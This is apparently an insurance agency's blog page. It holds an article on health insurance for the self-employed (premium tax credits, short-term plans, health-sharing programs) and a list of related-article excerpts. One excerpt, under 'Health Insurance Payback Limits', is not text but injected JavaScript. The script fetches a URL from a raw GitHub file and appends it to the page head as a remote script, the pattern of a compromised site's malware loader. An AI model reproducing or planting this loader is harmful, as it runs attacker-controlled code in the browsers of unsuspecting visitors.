Health Insurance for Self-Employment - Compass Insurance Advisors
  • Finding health insurance for self employment can be daunting. My goal in this article is to help you understand the cost of qualified health insurance, how to save money on health insurance, and other potential solutions for affordable health insurance.

    Cost of Qualified Health Insurance for Self-Employment

    My clients have an average health insurance premium per person of roughly $395 per month. Most self-employed individuals will qualify for savings, but $395/person is the average full cost of a plan. This consists of $0 deductible plans, high deductible plans, and everything in between. Regardless of the kind of plan they have, this can be a lot to justify. This average cost per person would mean that a family of 5 (2 adults, 3 kids) would be paying $1,975. That’s another house payment! The best way to offset this cost is to see if you qualify for the Assisted Premium Tax Credit to make the net cost as affordable as possible.

    How to Save Money on Health Insurance

    Most self-employed individuals/families will qualify for an Assisted Premium Tax Credit (especially with the new changes in the ARP Act). Advanced Premium Tax Credit is simply a government subsidy that can only be used towards the monthly premium cost of a qualified health plan. My average client qualifies for $379 tax credit which means that my average client’s net cost per person is $16 per month.

    What if you are a high income earner and don’t qualify for the tax credit? If you have pre-existing conditions, then you are probably okay paying the $395 per person per month cost for a qualified plan (which covers pre-existing conditions). This could be your monthly cost due to your medical costs being higher than the premium you are paying. However, if you are a healthy person then you may want to consider other potential solutions for your health insurance coverage.

    Other Potential Solutions

    There are two other potential solutions you can consider. The first one is, Short-Term Medical Plans and the second one is, Health-Sharing Programs.

    Short-term Medical Plans

    Short-term medical plans can be a great option in most states. Some states do limit the coverage length to 6 months which makes them less than advantageous. However, several states allow for 12 month coverage. In case you become ill during that duration of time, you can easily switch to a qualified plan in the next AEP (Annual Enrollment Period). Prices do change throughout the year depending on when you sign up for them. Although Short-term medical plans typically don’t cover certain things, such as, preventative services, medications, or mental health, they are a good option for unexpected medical costs. They often require health underwriting and may not be the best option if you have expensive pre-existing conditions.

    Health Sharing Programs

    Health Sharing Programs are a type of program I certainly have mixed feelings about. Due to the rising costs of qualified plans, Health Sharing Programs became a popular alternative solution for those who did not qualify for a tax credit. If you are considering this type of program, it is important to understand that the only guarantee is that they don’t guarantee anything. Health Sharing Programs are not obligated to cover your medical costs if they don’t want to, even if you are paying them a monthly cost. It is important to understand that many health-share companies have gone out of business in the past several years. In this case, any unpaid medical bills are likely not going to be paid.

    Another disadvantage is most health sharing programs require the member to pay up front for medical bills and will reimburse the member after a claim has been filed. Many families are left waiting a year or two or more for their health insurance bills to be reimbursed. This is not an ideal situation for catastrophic claims.

    If you have any questions about finding health insurance for self employment, reach out to one of our advisors at (801) 901-3519 or get a quote by clicking HERE.

  • Leave a Reply

    Your email address will not be published. Required fields are marked *

Need Help?

Speak To Courtney Today!

(801) 897-9023

Monday - Friday 8:00 am - 9:00 PM


Or Find Affordable Insurance Plans

Related Articles

Dynamic Blog Short Description

  • Health Insurance Payback Limits

    var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(scri

    Read More
  • Modified Adjusted Gross Income

    Modified Adjusted Gross Income

    Because the marketplace application requires an estimated income for the year you want insurance coverage, it can be quite stressful predicting and figuring out your adjusted gross income. Unbelievably enough, many refrain from purchasing health insurance because they believe their gross income wil

    Read More
  • What is the Silver Sneakers Program?

    What is the Silver Sneakers Program?

    How does SilverSneakers work? SilverSneakers is a senior fitness program for adults 65+. And if you have a participating Medicare Advantage or Medigap plan, you can participate in SilverSneakers at no extra cost! What does SilverSneakers include? SilverSneakers members are encouraged to st

    Read More
  • What is the 1095-A?

    What is the 1095-A?

    What is the 1095-A? The 1095-A is the form you need to file your taxes if you or someone in your household had a health plan through the Marketplace in the previous year. The 1095-A will be mailed to you as early as mid-January or as late as February 1st. Remember, this form comes from the Marke

    Read More
  • A Complete Guide to Health Savings Accounts

    A Complete Guide to Health Savings Accounts

    Introduction Are you tired of paying high premiums and medical bills while not fully understanding your insurance policy? Well, I'm here to tell you about some options that could save money on your medical expenses and premium while also getting tax benefits. Keep reading to learn more! What

    Read More
  • The Medicaid Unwinding Explained

    The Medicaid Unwinding Explained

    https://youtu.be/1TJUu7Gyk_U The Medicaid Unwinding Explained! What is the Medicaid Unwinding? At the start of the COVID-19 pandemic, Congress enacted the Families First Coronavirus Response Act (FFCRA). This ensured that people would have access to continuous health coverage through Med

    Read More
  • How to GUARANTEE You’re On the Right Health Insurance Plan

    https://youtu.be/sjpxlgfjkzs?rel=0 Introduction: Feeling overwhelmed and confused when choosing a health insurance plan is a common experience. But what if there was an insider secret to guaranteeing that you're on the right plan? In this blog post, we'll explore the benefits of Compass's

    Read More
  • Medicare Part D

    Medicare Part D

    Drug Coverage: What is Medicare Part D? Medicare drug coverage helps pay for prescription drugs. If you don’t currently require any prescriptions, there are still reasons to consider getting Medicare drug coverage.         Medicare drug coverage (Part D) is optional and is offered t

    Read More
  • How Much Does Health Insurance Cost?

    How Much Does Health Insurance Cost?

    How Much Does Health Insurance Cost? How much does individual health insurance cost? The answer to that is dependent on many factors. One way to get a benchmark idea of how much you'll pay for health insurance is by looking at the federal poverty level.If you are paying for health insurance as a

    Read More

What Others Say About Us

Our Customers Love Us

Courtney Jensen

(801) 897-9023

No Extra Cost. Professional Guidence. Complete Protection. Simplified Enrollment. Personalized Support.